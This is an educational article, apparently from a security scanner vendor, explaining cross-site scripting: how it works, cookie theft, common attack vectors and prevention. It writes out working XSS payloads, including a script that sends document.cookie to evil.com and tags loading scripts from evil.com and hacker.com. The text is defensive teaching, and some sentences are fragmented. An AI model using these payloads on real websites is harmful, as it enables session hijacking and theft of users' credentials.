Cross-site Scripting (XSS) is a client-side code injection attack. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or web application. The actual attack occurs when the victim visits the web page or web application that executes the malicious code. The web page or web application becomes a vehicle to deliver the malicious script to the user’s browser. Vulnerable vehicles that are commonly used for Cross-site Scripting attacks are forums, message boards, and web pages that allow comments.
“Isn’t Cross-site Scripting the User’s Problem?”
Cross-site Scripting may also be used to deface a website instead of targeting the user. The attacker can use injected scripts to change the content of the website or even redirect the browser to another web page, for example, one that contains malicious code.
XMLHttpRequestobject to send HTTP requests with arbitrary content to arbitrary destinations.
The above, in combination with social engineering, allow criminals to pull off advanced attacks including cookie theft, planting trojans, keylogging, phishing, and identity theft. XSS vulnerabilities provide the perfect ground to escalate attacks to more serious ones. Cross-site Scripting can also be used in conjunction with other types of attacks, for example, Cross-Site Request Forgery (CSRF).
There are several types of Cross-site Scripting attacks: stored/persistent XSS, reflected/non-persistent XSS, and DOM-based XSS. You can read more about them in an article titled Types of XSS.
How Cross-site Scripting Works
There are two stages to a typical XSS attack:
- After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.
For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.
The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:
print "<html>" print "<h1>Most recent comment</h1>" print database.latestComment print "</html>"
The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:
The web server provides the following HTML code to users that visit this web page:
<html> <h1>Most recent comment</h1> <script>doSomethingEvil();</script> </html>
When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.
Stealing Cookies Using XSS
Criminals often use XSS to steal cookies. This allows them to impersonate the victim. The attacker can send the cookie to their own server in many ways. One of them is to execute the following client-side script in the victim’s browser:
<script> window.location="http://evil.com/?cookie=" + document.cookie </script>
The figure below illustrates a step-by-step walkthrough of a simple XSS attack.
- The victim requests the web page from the web server.
- The web server serves the victim’s browser the page with attacker’s payload as part of the HTML body.
- The victim’s browser executes the malicious script contained in the HTML body. In this case, it sends the victim’s cookie to the attacker’s server.
- The attacker now simply needs to extract the victim’s cookie when the HTTP request arrives at the server.
- The attacker can now use the victim’s stolen cookie for impersonation.
To learn more about how XSS attacks are conducted, you can refer to an article titled A comprehensive tutorial on cross-site scripting.
Cross-site Scripting Attack Vectors
The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by the OWASP organization: XSS Filter Evasion Cheat Sheet.
<script> tag is the most straightforward XSS payload. A
script tag itself.
<!-- External script --> <script src=http://evil.com/xss.js></script> <!-- Embedded script --> <script> alert("XSS"); </script>
onerror can be used in many different tags. This is a very popular XSS attack vector.
<!-- onload attribute in the <body> tag --> <body onload=alert("XSS")>
An XSS payload can be delivered inside the
<body> by using event attributes (see above) or other more obscure attributes such as the
<!-- <iframe> tag XSS --> <iframe src="http://evil.com/xss.html">
In some browsers, if the
type attribute of the
<input> tag is set to
image, it can be manipulated to embed a script.
<link> tag, which is often used to link to external style sheets, may contain a script.
The background attribute of the
<td> tags can be exploited to refer to a script instead of an image.
<div> tag, similar to the <table> and
<td> tags, can also specify a background and therefore embed a script.
<object> tag can be used to include a script from an external site.
<!-- <object> tag XSS --> <object type="text/x-scriptlet" data="http://hacker.com/xss.html">
Is Your Website or Web Application Vulnerable to Cross-site Scripting
Cross-site Scripting vulnerabilities are one of the most common web application vulnerabilities. The OWASP organization (Open Web Application Security Project) lists XSS vulnerabilities in their OWASP Top 10 2017 document as the second most prevalent issue.
Fortunately, it’s easy to test if your website or web application is vulnerable to XSS and other vulnerabilities by running an automated web scan using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Take a demo and find out more about running XSS scans against your website or web application. An example of how you can detect blind XSS vulnerabilities with Acunetix is available in the following article: How to Detect Blind XSS Vulnerabilities.
How to Prevent XSS
To keep yourself safe from XSS, you must sanitize your input. Your application code should never output data received as input directly to the browser without checking it for malicious code.
For more details, refer to the following articles: Preventing XSS Attacks and How to Prevent DOM-based Cross-site Scripting. You can also find useful information in the XSS Prevention Cheat Sheet maintained by the OWASP organization.
How to Prevent Cross-site Scripting (XSS) – Generic Tips
Preventing Cross-site Scripting (XSS) is not easy. Specific prevention techniques depend on the subtype of XSS vulnerability, on user input usage context, and on the programming framework. However, there are certain general strategic principles that you should follow to keep your web application safe.
Frequently asked questions
Even though a Cross-site Scripting attack happens in the user’s browser, it may affect your website or web application. For example, an attacker may use it to steal user credentials and log in to your website as that user. If that user is an administrator, the attacker gains control over your website.
To discover Cross-site Scripting, you may either perform manual penetration testing or first use a vulnerability scanner. If you use a vulnerability scanner, it will save you a lot of time and money because your penetration testers can then focus on more challenging vulnerabilities.
Find out why it’s good to scan for vulnerabilities before hiring pen testers.
To protect against Cross-site Scripting, you must scan your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to popular opinions, web application firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.